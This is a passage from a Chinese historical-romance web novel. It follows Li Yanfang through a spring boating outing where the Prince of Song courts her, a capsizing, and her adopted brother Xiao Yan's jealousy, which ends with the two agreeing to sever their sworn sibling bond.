“太后在得到北戎王修来的国书之后,主和派提出以国帑将尚且流落于外的十州赎买而回,太后念在一旦战事爆发,兵戈残酷,百姓流离,对此建议颇为上心。”
李攸知李宴方当与萧偃一样,为坚定的主战派,故而特在此处沉吟几许,暗示萧偃与太后之间存在矛盾,甚至可能发展出鸟尽弓藏的悲惨结局。
“然北戎狮子大开口,简直要将国库洗劫一空,和亲公主的价值凸显而出,一桩良媒,预示未来几十年的两国和平,比起短期酬付的巨额财帛更为贵重。”
李攸说得极其直白赤.裸,仿佛和亲公主就是削价良由,以一介女流换取国帑盈余。
她听得黛眉深锁。
在李攸看来,她已是忧心忡忡,深知她处境不妙。
她纵然有一位能征善战的义弟,但终究是拗不过太后与众臣对于和平解决争端的期望,而她便也如秋日败菊一般,难以自保,终将跌落北风中。
只有李攸能救她,寻常宗室贵女无法逃脱,但大晟的王妃不容他人染指,这关乎大晟尊严。
这亦是李攸手中所握的独一无二的重要筹码。
李攸沉思,预料李宴方的反应,这一回她当松口了吧?
尚未等到答复,一阵孩童的银铃嬉闹之声由远及近地传来,极快,带着奔跑的放纵。
李攸瞬间被撞个满怀。
原
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来那是一位不过六七的小女孩,梳着两鬏,本用红绳绑得整整齐齐,可因她在园中嬉闹,已有些松垮。
她的上衫不算合身,有超过如今身形的放量,被扎在腰上。
李宴方知道,有些家境普通乃至贫寒的人家,做一件衣服不容易,预备足孩子长高的身量,一件新衣便能穿上好几年。
这是一位平民出身的小女孩。
她手中拿着一架五彩斑斓的风筝,正是在迎风奔跑玩闹之下,一时回头寻觅跟在身后的母亲,才没能看清前路一不小心撞到李攸。
小女孩立刻就对撞到的大人抱歉,闹得通红的小脸上出现歉意,她好似还有些害怕,不知道是因为冲撞,还是因为会遭到母亲数落,扎着小鬏的脑袋几乎要低到地里。
“对不起,大哥哥。”声细如蚊蚋,几不可闻。
李攸凝视闯祸的小女孩,眉头深锁,目覆寒霜,他很不满出现意外。
李宴方随着他酷寒的目光放去,他的下裳与鞋靴均沾上春泥,星星点点,格外扎眼。
始作俑者正是小女孩,小女孩玩闹起来不顾天不顾地,身上不知不觉有了污泥,这一撞,把李攸整洁体面的衣衫弄得狼狈不堪。
他有洁癖么?
他会因为洁癖为难一个小姑娘么?
还是他不喜欢这些不守规矩的平民百姓?
身为皇亲国戚,他会认为自己声威有损,就像不与商贾往来一样?
李宴方正欲解围,不远处一位打扮朴素的妇人匆匆赶来,这位妇人是个有眼力见儿的,见二位品貌不凡,必是贵人,她匆匆请罪。
“二人大人有大量,我家妮儿才六岁,第一次来金澜池,玩得有些疯了,若是冒犯二位,是我这个做母亲得没看好她,还请二位不要怪罪于她,要罚就罚我吧!”
本是游园乐事,气氛热烈欢乐,小女孩虽不懂人情世故,但母亲忧心惊恐的情绪感染她,她一愣怔,抓在手中的漂亮风车啪嗒落地,小人儿一吸鼻子,无措地哭起来。
李攸的眉头皱得更紧,李宴方见状立即解围:“娘子无须介怀,此乃孩童心性,不必责怪,只是这园中游人如织,娘子定要护卫令爱的安危才是。”
气度华贵的女子笑意盈盈,言辞带着温柔的安抚,就似此刻金澜池畔不息的春风。
妇人如释重负,点头致谢,拉过女孩,安慰她替她擦去泪痕。
见李宴方如此,李攸自然不好说什么,为不显自己器量狭小,解下腰间莹润翠绿的玉佩,和颜悦色起来。
“无妨,只是令爱的风车落地摔坏,是我之过,还请娘子收下,给令爱再买些玩具,顺便添置些新衣。”
妇人见那玉佩品相极佳,绝非凡品,她不敢收,只是摇头谢绝。
宋王难得给民妇赔罪,对方不收更是让已经脏了衣衫的宋王难堪,李宴方不愿这对母女为难,褪下腕间的珍珠碧玺链。
这一件只能算看得过眼,远远不如玉佩贵重。
“娘子,这副手串与你肤色极配,还请收下,我瞧不远处就有货郎挑着风筝风车等玩具,娘子快带令爱挑挑去,有了新鲜玩意儿,她便不哭了。”
温柔大度,化机锋于无形。
妇人得了台阶,感激地凝望李宴方,抱着还在抽泣的孩子离开。
本就是孩童无心之举,谁会真与她定罪惩处?
没想到宋王颇有几分小题大做的意思,竟然解下玉佩。
先前李宴方替母女二人说情,此时不用自己的首饰赔,而让宋王用玉佩化解,岂不是将他得罪大了?
而李攸却在李宴方的一言一行中品咂出一丝难言的暧昧。
她就如同他的亲近之人,自然而然地替他处理掉一个小麻烦。
若是婚后,他与李宴方定然会鹣鲽情深,琴瑟和鸣。
东风吹动情丝,李攸有一瞬间的失神。
他求娶李宴方本另有图谋,可这一遭让他真的图谋起她本人来。
42. 争渡
东风吹彻,碧桃微微摇曳。
“自太后陛下开放金澜池后,常有百姓入园赏玩,宋王似乎很少前来。”
李宴方朱唇勾起一丝浅笑,仿佛在问,是不是你来少了,不知这园林里妙趣横生,不同于私家园林,无人打扰。
而李攸却以为她在说:若不是太后开放皇家园林,你今日也不会被小姑娘撞一身泥点子,惹你恼怒。
这让李攸察觉到她对自己喜怒哀乐的关心,唇角不自觉露出微笑。
“太后陛下下旨与民同乐,是爱民如子之举,只是攸多闭门不出,少见春光。”
他在解释自己的少见多怪,而李宴方却直觉他并非真的赞赏这一爱民如子之策,只是太后旨意,他安敢不满?
李攸顺势与她道:“还请乡君带攸鉴赏这满园春色。”
也好继续询问她对婚事的看法。
李宴方还未回应,人群中突然传来招呼声,原是上官柔仪邀请的宾客皆至,竞渡即将开始,现在须进行抽签分配。
她毫不犹豫地赶往人群之处,留下一句:“走吧。”
侍从捧着竹筒,筒内有数不胜数的竹签,竹签上用朱笔写下号数,抽到两个相同号数的宾客就为一队,共划一舟,争夺头标。
李攸紧紧盯着李宴方,看她穿梭于彩衣华服之间,果断干脆地在签筒中抽出一支签。
被李宴方甩在身后的李攸立即跟上,在她抽取完毕后,也抽出一支签,心里跳出一个几乎是痴心妄想的愿望——若能同船渡就好了。
可他望着一筒竹签,满满当当,支支外表一致,他怎么敢祈求与李宴方抽中一模一样的签数?
内心有一股奇异的冲动,若是她们早结良缘,不就不需要再抽签了么?
徒然生出一抹恨不早相逢的无奈幽叹。
他指尖摸索着手中签,左顾右眄,似要竹签上的两字看出窟窿。
而李宴方已在人群中寻觅同签之人。
“庚二。”
距离李宴方仅有一步之遥的李攸在听到这一声带有期盼的悦音之后,心头大喜,仿佛得天之助,竟然真让他与李宴方抽到同一个号数!
“常有人道‘十年修得同船渡’,我与乡君的的确确缘分匪浅。”他手持同样写着庚二的签字穿过嬉闹的人群,坚定不移地向李宴方走去,喜上眉梢。
惊诧的一瞬间仿佛连春风都凝滞,李宴方简直怀疑自己被做局。
怎么会有这么巧合的事情。
她抽签时便想,任何一个人都可以,只要不与李攸同舟,无关胜负,只是不想在此刻与他纠缠。
是上官柔仪会帮他?
还是他的人潜入上官柔仪身边,做了手脚?
上官柔仪不会专程帮他,她与他的交谈疏离客气。
也不像有人提前做手脚,因为在此之前,他并不知晓她会参宴。
是二人抽签时机太相近,而刚好签筒中的竹签未均匀分散?
她不便明面上拒绝,否则他岂不是以为她心动害羞?
进而得寸进尺。
李宴方礼貌地微笑:“看来两个不擅竞渡之人凑在一起,当真是天意。”
“无关胜负,同渡一程,共达彼岸,乃是攸万中之幸。”李攸喜上眉梢,回应得一语双关。
令人紧张兴奋的游戏进程不断推进,不曾未各怀心事的二人留下各自试探的时间,现在已到确定分组,配备渡水腰舟的环节。
因知是春游踏青,来客无论男女,几乎都穿着便于行动的装束,放弃高冠博带的风格,在接下并装备渡水腰舟一事上,均利索干脆。
李宴方也将渡水腰舟捧在手中。
巨大的葫芦干燥后亦不容小觑,入手沉重,腰舟上还缠有藤编网套,便于系腰。
李攸接过,亦仔细打量一番。
“腰舟古已有之,‘今子有五石之瓠,何不虑以为大樽,而浮于江湖,而忧其瓠落无所容?’(注1)可像我这样四体不勤,五谷不分的人才是第一次用上。”
带着自嘲的轻松语气,与李宴方拉近距离。
“那宋王可得好生听着如何使用,若是不慎落水,我这个不擅凫水之人可不如腰舟可靠啊?”
她浅笑盈盈,却是在撇清责任。
宋王的安危她可负责不起。
李宴方已经煞有介事地提醒过李攸,可千万别在小舟上使什么诡计。
“请两位贵客上舟。”
上官柔仪安排的侍从恭敬引导,待众宾客入舟坐稳,会有聘用的教头简易地教授划船要领。
赛舟仅容二人入座,一前一后,一人左侧划,一人右侧划,不仅对参赛者臂力有一定要求,更对二人的配合程度是个考验。
纵然参赛者均知这是春光明媚下的一场戏水游戏,体验为上,但都不禁摩拳擦掌,跃跃欲试。
李宴方坐在前头,李攸坐在后头。
金澜池的春水波光粼粼,小船摇摇晃晃,人在舟中坐得极低,无限贴近水面,给人一种危险的暗示。
李宴方再度检查系在身上的腰舟。
船尾的李攸出声宽慰:“没事的,有水师护卫,我们依教头说的做就是,无碍达岸则为胜。”
“可宋王不是很喜欢那素冠荷鼎吗?”
“平安为上,彩头随缘。”
你的平安为上,船尾的人吞下半句话,太刻意直白,她一定不喜欢。
舟上众参赛者已渐渐适应,岸上的信号鼓猝不及防地被擂动。
李宴方一边在脑海内复述着划船要领,一边将木浆放入水中,几划动轨迹乎与船舷,船身一点点移动。
而船尾的李攸尽量跟上,但节奏不一致,小舟摇头摆尾,荡起紧张慌乱的阵阵涟漪。
扑通一声,不是李宴方落水,而是一侧的小舟因驾驶的二人慌乱导致重心摇摆,齐齐翻船!
不幸翻船的小舟上是两位男子,他们二人见地不同,互不相让,各自为政,本以为只是小事引发争吵,没想到小舟可不惯着谁,一个侧翻差点把人都扣在舟里。
两人只得在水中狼狈落魄地抱着腰舟互相指责,一旁护航的水军见状立刻跳船入水把人捞起来。
争吵就此中止。
李宴方目睹翻船事故后,深感上官柔仪用心之“险恶”,这金澜池水到成了照妖镜,瞬间就能照出合作之人是人是鬼,
不甚熟悉之人,或者是陌生人之间极其爆发纷争,且二人争执之下,船歪桨斜,稍有不慎就双双落水。
而那些本就有矛盾的夫妻只怕会吵得更加厉害。
但相处和睦伉俪或者能沟通合作的队友就算不能争夺第一,也能有惊无险地完赛,体验一把激情争渡,有心之人甚至有望成就良缘。
真是既有刀锋,又藏蜜糖,怪不得众人就算不擅凫水划船,也
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兴致勃勃地参与。
此时,两位落水者的涟漪已经散去。
前车之鉴,后车之师,李攸见状忙对李宴方道:“乡君,你来喊口号吧。”
细思之后,李宴方并不推辞,关键之事须得自己全权把控,于是果断喊起口号,前后两杆木浆有节律地划开池水,小舟在碧波中破浪而行。
李攸也不像翻船的男子那般,自视甚高,看重面子,因不服被人指挥而闹起内讧,而是一板一眼地按照船头指挥的节奏跟进。
不逞能,不傲气,谦虚,遵从,李宴方突然发觉他身上真有几分君子如兰的气息,她本以为他是自命不凡的天潢贵胄。
同在一条船上的人各有心思。
若一个女子,既有桃李之容,又具处事智慧,怎么不算天赐良缘?
指挥得宜,担当有方,李攸开始被她折服。
也难怪当初陆韫之不顾陆朴的不满也执意要娶她。
他几乎已经沉溺于春心萌动的澎湃情潮之中,比金澜池内的小舟更颠簸摇晃。
李宴方不知船尾之人已神思恍惚、心花怒放,她只清楚这一场争渡求胜已难,先前在出发之地,二人受身旁翻船队伍的影响,早已经落下一程。
达岸就变成当务之急。
一人目光聚前,一人不堪留意,丝毫不觉左斜后方窜来一叶失控的小艇,横冲直撞,气势简直如同秋风扫落叶!
浪惊船动,冲撞而来的小舟上的参赛者连忙大喊小心回避。
李宴方与李攸齐齐回首,那小舟上的两人本就错了方向,已是手忙脚乱,而见两船之间距离愈发靠近,更是慌乱紧张,焦灼难安。
李宴方尝试调转小艇方向,向船尾喊道:“右转划左桨!”
可惜两人毫无默契,收效甚微,看起来与冲撞小艇上的两人一样慌不择路。
翻涌洪波容不得两舟再作挣扎,那直冲而来的小艇毫无停摆之意,昂着尖翘的船头直挺挺超前冲去,气势凶蛮。
轰隆一声响,伴随舟上四人的尖叫,慌张,刺激,惊恐。
李宴方只记得小舟撞上来时,整个小艇都陷入声势浩大的震荡摇晃之中,外界巨大的动荡冲入脑海时,造成一瞬间的空白,连耳旁湖水波澜声、众人喊叫声都被排除在外。
空荡荒芜的宁静只存在于眨眼之间,待她回过神来时,身体已经不可避免地倾斜侧倒。
船侧翻时,以她和李攸的架船技术已是无力回天。
李宴方果断扔掉船桨,转而抱紧系在身上的渡水腰舟。
入水的刹那,铺天盖地的春水凉意从四肢末端直冲入天灵盖,水势汹汹的碧涛让她短暂地失去控制身体的能力,像将溺之人,危在旦夕。
“宴娘——”
浪声阵阵中,坐在船尾的李攸也避无可避地翻船落水,可他的入水动作比李宴方更利索,仿佛带着某种巨大的决心。
他忧心关切的目光凝结成一条在混乱波涛下将二人牵紧的牢固绳索。
好似有了这条牢靠的绳索就能避免生离死别。
小船彻底翻倒,咕咚咕咚,在水中扑腾的李攸被灌入几口池水,呛水的窒息感把他彻底吞没。
他挣扎着扯过腰舟,尝试浮出水面。
从充满恐惧的失重水域内上升,在天光逐渐明晰的这一刻,他只想找到李宴方。
注1出自出自先秦庄子《逍遥游》。
43. 患难
洛都的三月,处处皆是寒凉微冷的春意,而波澜不惊的金澜池水更是仿佛从积雪渐融的高山上奔流直下,带着刺骨透寒。
足以将李宴方吞噬的冰冷潜入衣衫,夺取皮肤的温度,将她刺激得轻颤,也让她集中精力应对眼前意外。
她根本无心再去顾及周围的情况,先是尝试扒住木舟,获得浮力,只是翻船来得比她预料中太快,她不得不迅速蹬水离开,以免被扣在船板之下,陷入更大危机。
因着绣鞋,蹬水困难倍增,她顺着腰上的系绳一手抱住腰舟,借腰舟浮力划走。
有渡水腰舟的助力,她的凫水功夫得以在毫无准备之下施展,成功脱离第一个险情。
李宴方在来到金澜池后未曾与任何一个人明言过自己会凫水。
小时候父亲曾带着姐弟二人去护城河上游凫水,爹说凫水是保命技能,两个孩子必须要学会。
果然是深谋远虑。
她趴在腰舟上,确保头颈露出水面,等待水师护卫前来救援。
有惊无险中,水波荡漾,李宴方逐渐漂远,这时候她才突然想起混乱中有人惊恐慌张的呼唤自己,甚至还称呼自己为“宴娘”。
这称谓是亲近之人的叫法,过去从未有人这么称呼过她,乍一听让泡在水下的皮肤差点起了鸡皮疙瘩。
声音当是李攸发出,她目光搜寻,几步之外那狼狈咳嗽、沉沉浮浮的宋王正以别扭的动作向她划来。
“宴娘,你可还安好?”他急切,焦灼。
李宴方突然想起下水前的那一眼,船尾的人生怕她有三长两短,关切担忧分明藏不住。
一个可能有洁癖的人,主动下水,意外加速小舟的翻倒,且小船一翻将会把他倒扣于舟底。
是因李攸不擅处理乘舟变故,还是他在关心则乱?
看那窘迫不堪却锲而不舍地朝向自己划水的身影,李宴方心念一动,朝他柔声道:“殿下不必过来,我很好,你只需要抱住腰舟,保存体力等待救援。”
李攸脸上糊满过水的鬓发,翩翩公子成了落汤鸡,他愣在当下,随即绽开笑颜:“好。”
也不管自己的模样是否会遭人嫌弃,心只道她无恙便好。
李宴方又望向另一艘小船上地落水者,那二人离救援的舟楫更近些,已经脱离危险。
落水之人越挣扎越容易沉溺,像她与李攸这样凭借浮物等待的人反而能安然。
浑身湿透的参赛者一被接到大船上就被送上保暖的毯巾,舱内还提供有更换的衣物和能烘干湿衣的炭火,姜汤等驱寒之物也应有尽有,更有大夫随行。
上官柔仪这新鲜主意虽然有些“馊”,但她准备得尤为充分。舱内落水的宾客们无人真正愠怒,反倒是说说笑笑,当成一桩乐事趣谈。
李宴方在内间更换衣物,她落水的幅度掌控得不错,没有全身入水,发髻未湿透,只有颈后沾了些水,打理起来方便简单。
她整理完毕后起身前往船厅饮用姜汤,在走廊内遇到同样休整完毕的李攸。
那落水狼狈仿佛只是李宴方的幻觉,此刻他再度恢复姿仪不凡的模样。
她打了招呼:“宋王。”
李攸郑而重之地对她行一歉礼:“方才情急之下,口不择言,唤乡君为‘宴娘’,多有冒犯,还请乡君责怪。”
“宋王既说是情急之下,我又怎么会见怪?”
李攸见她不以为意,试探地问:“此番出游,你我前有同船渡,后有共患难,攸斗胆一问,是否可唤乡君为‘宴娘’?”
原是给她挖了个小坑,她也不恼怒,干脆点点头,
大晟近二十年来民风开放,年纪相当的男男女女们就算谈情说爱后都能分道扬镳,讲究一个一别两宽,如此说来,称呼就更不碍事。
只是显得他有一点点特别罢了。
李宴方点头后,李攸心花怒放。
救援航船达岸之时,金澜池内的竞渡已分胜负,那两株素冠荷鼎已有归属。
李攸不由得遗憾惋惜,李宴方却不甚在意,反而夸赞那花在胜者手中顺应机缘。
可李攸想,她当也是喜欢素冠荷鼎的。
*
这一场春游的重头戏落幕,众人散去,李宴方亦打道回府,今日游戏别有生趣,但也叫她生出倦意。
卧房里珠帘玉帐隔绝窗外春光,亦掩盖屋内动静。
“阿姊。”
一声低沉惑人的熟悉语调敲击李宴方的耳膜,传入时,她耳窍内好似钻入一缕细烟,烟雾轻车熟路,一路奔向她的心房,在那里升腾、缭绕,鼓动她怦怦跳的心脏,把两声跳做四五声。
烟雾燎烧起心火,令她浑身燥热,背后在不知不觉间渗出细密晶莹的汗珠。
在她误入一片宽横起伏的温热后,身上成片的汗珠立即被蒸发,潮湿消散无形,只余无边的炽热包裹着。
那一双未曾将她抱紧的长臂,如今紧贴着她的腰肌,戴于指上的玉韘因此沾上温热,只是逐渐攀升的高热融不掉玉质的坚刚,它划过腰部细腻光滑的皮肤,留下一道又一道清晰深刻的触感。
她皱着眉说:“摘掉它。”
他亲吻她的耳垂,低笑:“好。”
一颗莹白温润的流星在空中倏然划过,准确无误地落入远处床榻上的锦衾中。
可不知为何,玉韘落下时响起叮当脆响,远远的,仿佛从另外的空间打破而至。
李宴方隐约听见汤匙轻碰玉碗的咣当声,迷迷糊糊睁开眼。
熟悉的床帐映入眼帘。
待她终于发觉自己做的是何种梦时,她彻底清醒,掀开锦被坐起,后背的薄汗遭乍暖还寒的春意一击,凉透她的心神。
做这些梦倒也正常,只是这梦境中出现的对象令她大感不妙。
尤其是今日才对李攸产生些不同的看法,这个梦境如不散阴魂般穷追不舍。
平日里还能说服告诫自己,可梦里还能怎么解释?
身后之人屡次出现,均无从得见正脸,但她从未误判过对方身份,暗藏于其中纠葛和心思简直昭然若揭,禁忌被打破的无措惶恐随之而来。
李宴方颓丧无奈地摇摇头,道德管不住梦境,心结拦不住歪念。
原来她也有如野兽般原始直白的冲动,让她难堪汗颜,深感罪恶。
她想,如现在这般彼此远离也极好。
李宴方长舒一口气,正欲披衣起身,一抬眼,硬生生止住动作。
床榻上设丝帐,丝帐外隔珠帘,珠帘外有案几,案几旁坐一人,那人轻手轻脚地吹拂着端来的姜汤。
熟悉的人影瞬间与梦境内的残影重叠,把残影染了颜色,添了生动,也让李宴方的羞愧之情澎湃难抑。
奇也怪哉,两次,
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每一次一醒来都能看见他,简直是刻意敲打,让她羞耻难堪,出尽丑态。
萧偃早发现她醒来,柔声开口:“听闻阿姊今日与有缘人同船渡,只是天不遂人愿,落了水,喝姜汤驱驱寒吧。”
他并未大张旗鼓地掀开珠帘入内,仍是坐在案几旁。
看似有分寸,实则嚣张至极。
他已经大大方方走入卧房,这一步,走不走到塌旁又有什么区别?
简直是示威。
没人敢阻拦他,连李宴方自己都哑口无言,他再无耻,也不及梦中的自己出格越轨。
这一回,且算李宴方理亏。
“我已在金澜池的画舫上喝过姜汤,你怎么回来了?现在什么时辰?”
“也是,阿姊明明会凫水,怎么会有事?”他放下手中汤碗,又闻咣,“现下已是酉时,阿姊睡糊涂了?我不回来照看你,难道要等宋王来么?”
萧偃无法置身事外,做不到作壁上观。
他可以不再做阿姊的弟弟,但决不能让别人成为阿姊的丈夫,尤其是宋王李攸。
“若是我与阿姊同舟竞渡,绝不会让阿姊受这等委屈。”李攸,不行。
他起身,挺拔英武的身躯逼近,在珠帘之外停步,充斥心头不满的字字句句传来。
“阿姊,只怕你被做局了。”
这话里甚至有一丝埋怨,仿佛她与他前往就不会发生这等惊心动魄的事情,更不会叫李攸有机可乘。
李宴方望着帘后的影子,欲言又止,他很危险,带着醋意与恨意,她将要说的一个字眼,一句话都能引爆他刻意压制的情绪,而后烧毁玉帘,再吞噬她。
她竟然会在情感纠葛中体会到何乃养虎为患,自小养大的老虎,就算有几分情意,也不可忘记虎乃猛兽,他表现得再乖觉,都无法真正变成可由你揉捏的狸花猫。
可她莫名地惆怅伤怀起来,两人之间早已打出无数个死结,既寻不到突破口,也做不到一刀两断,与其纠缠不休,倒不如一把火烧个干净一了百了。
“不是他做的局,”她偏偏不顺着他的意,道来早已分析出的结论,“他一个不会凫水的旱鸭子,怎么敢压上性命安危?”
可是萧偃以为李宴方偏袒李攸,还关心他的生死:“金澜池年年有水军操练,他不会死在那儿,正是因为能确保安全,才敢行此策略,不是吗?”
阿姊明明一个精明得不得了的人,怎么会识不破野狐狸的小小计谋?
难道阿姊真的那么在意他,被迷了心智,遮了双眼?
难道阿姊将计就计嫁与他的宋王身份,进而摆脱自己的纠缠?
阿姊,你当真要如此糊涂吗!
天光不入的屋内本就昏暗,这时帘后仿佛真烧起来,萧偃眼瞳蕴藏火种,怒意燎原。
李宴方不自觉地抓紧绣被,叹道:“你若非要作此推测,我也不能置喙,可他这样能得到什么好处?今日之事已了,切莫放在心上。”
“我看他好处大了去了。”萧偃反唇相讥,李攸明明得到阿姊的偏袒,下一步是不是就能得到海誓山盟,天地一诺?
萧偃背在身后的手蓦然攥紧拳,他想到一个斩草除根的好办法,变得狰狞,变得可怖:“不如我在春猎上一不小心将他射杀,这才是真正的‘事了’。”
他且试试,他的阿姊,是不是真的很关心李攸?
44. 戏言
“你疯了?”李宴方倏然起身坐直,大声喝道。
怒气直涌而上,她几乎是要翻身下榻,冲过去给他一巴掌。
“你就这么在乎他?”他齿冷而笑。
李宴方抓住锦被的双手突地松开,被面紧皱的纹理骤然舒畅,如同被疏通的淤塞河道,在流水冲刷下逐渐恢复正常。
她只是如实相告,可他误会了某件事。
“我是在乎你。”
床榻上的人笃定直言,本该重逾千金的区区几字,可说清道明之时,也并非难如登天。
她固然可以把射杀之语当作戏言,但王侯射杀亲王必然会造成朝野震荡,就算这位亲王不得宠,甚至可能被太后忌惮,他也代表天家威仪。
战功彪炳又如何?
反倒落得一个恃宠而骄、目无王法的口实,落得一个斩首示众、遗臭万年的下场。
屋外的天色昏沉,本就不漏入寝居的光线愈发暗淡,李宴方看不清萧偃的神情,而萧偃也捉不透她此刻的表情。
萧偃的心被一句话敲得差点忘记如何跳动。
他可以从李宴方的只言片语与行为举止中琢磨出她对自己的关切与在乎,可从她口中明明白白地道来,就是另一番风味。
而她的笃定认真,就像是一阵把浓郁酒香吹出街巷的风,把他心里那点别样的情愫,宣扬得四处纷飞。
见他失语,李宴方追问:“你不打算和我一起北上幽州送何婆婆还乡了么?”
你收复失地的愿望,答应过我的承诺,也统统不要了么?
因为一时意气就将其葬送,值得么?
李宴方一问,实为几问。
经过同游金澜池,李宴方能确定一件重要之事——愿意并且有能力与她践行幽州一诺的人只有萧偃。
不是别人,更不可能是李攸。
李攸对无名老妪的态度,会好过那一名顽皮的孩童吗?
他也许会爱屋及乌,因她对何婆婆的情意而感染,但这与他本身在不甚在意何婆婆这等升斗小民仍是两码事。
李宴方绝不会选宋王李攸。
她就是很在意他,恨不得脱口直言。
可萧偃能明白自己的意思么?他真的会气地不管不顾,择路歧途吗?
珠帘外,萧偃握紧的拳缓慢放开,心海内那一片躁动烈火有停息的征兆,他想起来了,与阿姊同践一诺的人不是别人,而是自己。
而在李宴方心中,有能力达成这一切的也不是李攸,而是自己。
萧偃的气焰瞬间就消散于无形,好似遭了一场春时雷雨,被灭得一干二净。
本就带一丝笑意的唇角更是心满意足地微扬。
可萧偃还想问,你在乎我究竟是因为我是你弟弟,还是别的什么人?
你将以什么身份与我一道北上,是阿姊,还是妻子?
他问不出口,直觉逐渐靠近的二人之间仍有隔阂,说不清,道不明。
要不然他现在就当拥抱她,气息交缠。
罢了。
“阿姊,你好好歇着吧。”
李宴方轻掀玉帐,望着离去的背影,思索着,他信了吗?
*
次日,萧偃并未一大早就动身前往飞捷大营,他昨日匆匆赶回时已安排妥当,便安心地留在家中,他夜里又辗转反侧,不得安寝,到晨曦洒落人间时,才浅眠片刻。
日上三竿后,他到小校场内练武,突有人来报,宋王亲自来访。
好一个不请自来!
他将手中的长槊倒插于沙地,愤怒升腾。
萧偃火速更衣,趁着阿姊未醒,先会一会这位瞅准时机趁虚而入的宋王殿下。
厅内,萧偃迈着轻快地步伐,见来人,满怀歉意道:“宋王殿下亲自到访,萧某有失远迎,还望殿下海涵。来人,奉茶。”
一手示意李攸落座。
“是攸冒昧唐突,叨扰萧侯,昨日金澜竞渡是攸技艺不精,让宴娘落水,今日特来赔礼。”
两人互相礼敬,和睦得简直像一家人。
主座上的萧偃凤眼微睁,李攸唤阿姊什么?宴娘?
他哪来的资格这么唤她?
难听极了!
萧偃神色冷了几分,拒绝道:“竞渡嬉乐,跌宕起伏,如何能怪到殿下头上?这礼我就擅自做主替阿姊拒了。”
客座上的李攸未曾料到这位义弟态度竟然如此决然,可他都携礼登门,岂有退却之理?
李攸目光一扫侍从捧着的兰花,含笑道:“昨日争渡,我见宴娘对素冠荷鼎颇为中意,只是攸无能,赢不下琼葩,故特意寻来一株绿云,愿能为她增添两分春意。”
“此兰名为绿云,常开并蒂,花色湖绿,蕊间缀红,香气馥郁雅致,最宜入室赏玩。”
萧偃眸色冷暗,李攸一口一个宴娘称得顺理成章,天经地义,还要送花入室,二人之间到底到了何种地步?
这碍眼的男人真该一箭射穿胸膛。
“我这等不懂花品的俗人都知此花名贵,只怕阿姊担不起殿下这份歉意。”他试探,他可不希望她担着。
李攸也有姐姐,他虽与大长公主不甚亲近,年岁之差也大,但他也明白在兄弟眼里,姊妹的心上人总是要接受一番考验,心道这位将来的内弟真不好对付。
一墙之隔的李宴方听得心惊胆战,尤其是那一声声宴娘,简直是催命符。
一股诡异的焦躁从脚底直冲冲窜来,把她烧得焦黑冒烟儿,就好像她养了个外室,那外室还招摇过街,得意洋洋,殊不知一杆有破竹之势的箭已经不声不响地瞄准他。
可这也怪她,谁让外室以为那人只是她弟弟?
萧偃又要疯了。
厅上的李攸侃侃而谈地告诉未来的小舅子,他有多在意李宴方,他与李宴方之间是何种关系,担不担得起这份迁移。
什么射覆灵犀,什么十年缘分,什么同船渡,什么共患难……被李攸的华丽辞藻一说,竟然和街肆内流传的话本一样跌宕起伏,叫人欲罢不能。
萧偃一字不漏地听完,好似神游天外,成为一具行尸走肉。
原来阿姊是哄骗自己,她只为了保下李攸,原来她可以为别人做到这个地步?
她竟然会骗自己?
瞬时间心如刀绞,要萧偃喘不过气来。
他比不过陆韫之,也比不过李攸?
陆韫之死在她手下,李攸一定要死在他手下!
萧偃再度抬头,神色已清明,极力表现出赞许,对自顾自表演的李攸道:“既然殿下真心实意,我便替阿姊收下这一株千金难换的绿云。”
李攸见目的达成,心知该走了,他再越过萧偃求见李宴方便显得猛浪唐突。
前厅在虚假的热闹后骤然陷入森冷的沉寂。
李宴方心力交瘁,脱力地靠着墙壁,她思索自己为什么不能接受萧偃?若是早一些接受他,是不是不会再牵扯一人进来,把水搅得更浑浊?
早先她能确定自己对萧偃的关心是处于姐姐的职责,可是现在她发觉心里藏着不可告人的私欲,什么时候变的?怎么变的?
这让她不知如何开口,现在她说的任何一句话都可能是火上浇油。
厅内的萧偃把玩着绿云翠如玉的叶片,拨弄来,拨弄去,他没想过要用一盆无辜的草木来发泄。
他早已知道阿姊就在墙后,他听得出她刻意压低的脚步声,以及细细的喘息。
准姐夫在小舅子面前大秀与阿姊的恩爱,可墙面一转,他当真希望是无知的丈夫意外发现善
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于卖弄的外室。
真是精彩纷呈,跟双面绣一样,翻个面,就有意料之外的惊喜。
想做萧偃姐夫的人可真多,连他自己也想得要命。
他在此刻之前,面对那些露面的、潜在的竞争对手没有一丝畏惧,来一个他灭一个,来两个他灭一双,可他不敢想,他的阿姊居然会为其中一人欺瞒他。
他好像经历了一场不战而败的颓唐,丢盔弃甲,输得没脸见人。
“喜欢吗?喜欢你就拿去。”
阿姊对他说了一句话,仿佛不在意这一盆花的来由。
“阿姊不喜欢吗?”
“不喜欢。”
“当真不喜欢?”
“不喜欢。”
“何必骗我。”萧偃自嘲笑笑,指尖停在兰花叶片上,一动不动。
“一个人若是不信任我,我说得任何话都像是谎言,对吗?”
他不再说话了,李宴方却穷追不舍。
“你知道最初我为什么对陆韫之动杀心吗?”
他不语,听了她与李攸之间的你侬我侬,还要听她和陆韫之的陈芝麻烂谷子的情事?
“他痊愈无望,自尊受损,脾气反复无常,任何劝说都当作耳旁风。”
萧偃回过头,冷笑:“你在指责我?”
“我不希望你变成那个样子。”因为她。
但萧偃突然在那一瞬间变得很陌生,又很熟悉,陌生是对弟弟的陌生,熟悉是对于亡夫的了然。
突然地,李宴方做下一个决定,重大,果断,她说:“我们断绝义姐弟关系吧。”
脱去这层既是保护又是迷障的壳子,她才可以用刀锋剖开自己的内心,看看里面到底有没有萧偃,看看到底应该怎么料理这段曲折孽缘。
萧偃心头一震,同样断绝一事,是由他发起还是由她发起,对于他而言意义完全不同,他想送她自由,可她是不是要摆脱他?
萧偃没有答应,他只问:“当年你嫁入鄂国公府,有没有一星半点是为我的前途考虑?”
“有。”李宴方不曾有半分犹豫。
只是现在想起这一份考量,李宴方只觉得可笑,她现在甚至怀疑萧偃会不会再相信她的说辞?
罢了,有些事错过就无法挽回。
萧偃哑然失笑,果然有,他这个便宜弟弟从一开始就欠她的,欠得太多了。
那就结束吧,他深吸一口气:“我最近忙,春猎之后再断绝。”
“好。”
他望向她离去的背影,他没有挽留,她没有回头。
未过午时,萧偃就驾着马离开府邸,一去不回。
夜深人静,李宴方立于窗前,春月朦胧水光中,水势不绝,凝涕成行,滑落面颊,无声却浩大。
她从未体验过的这般哀愁酸楚,伴随着似痛非痛的凌迟。
削骨剔肉的凌迟酷刑之下,不见鲜血横流,只剩望不见终结的钝痛凄切。
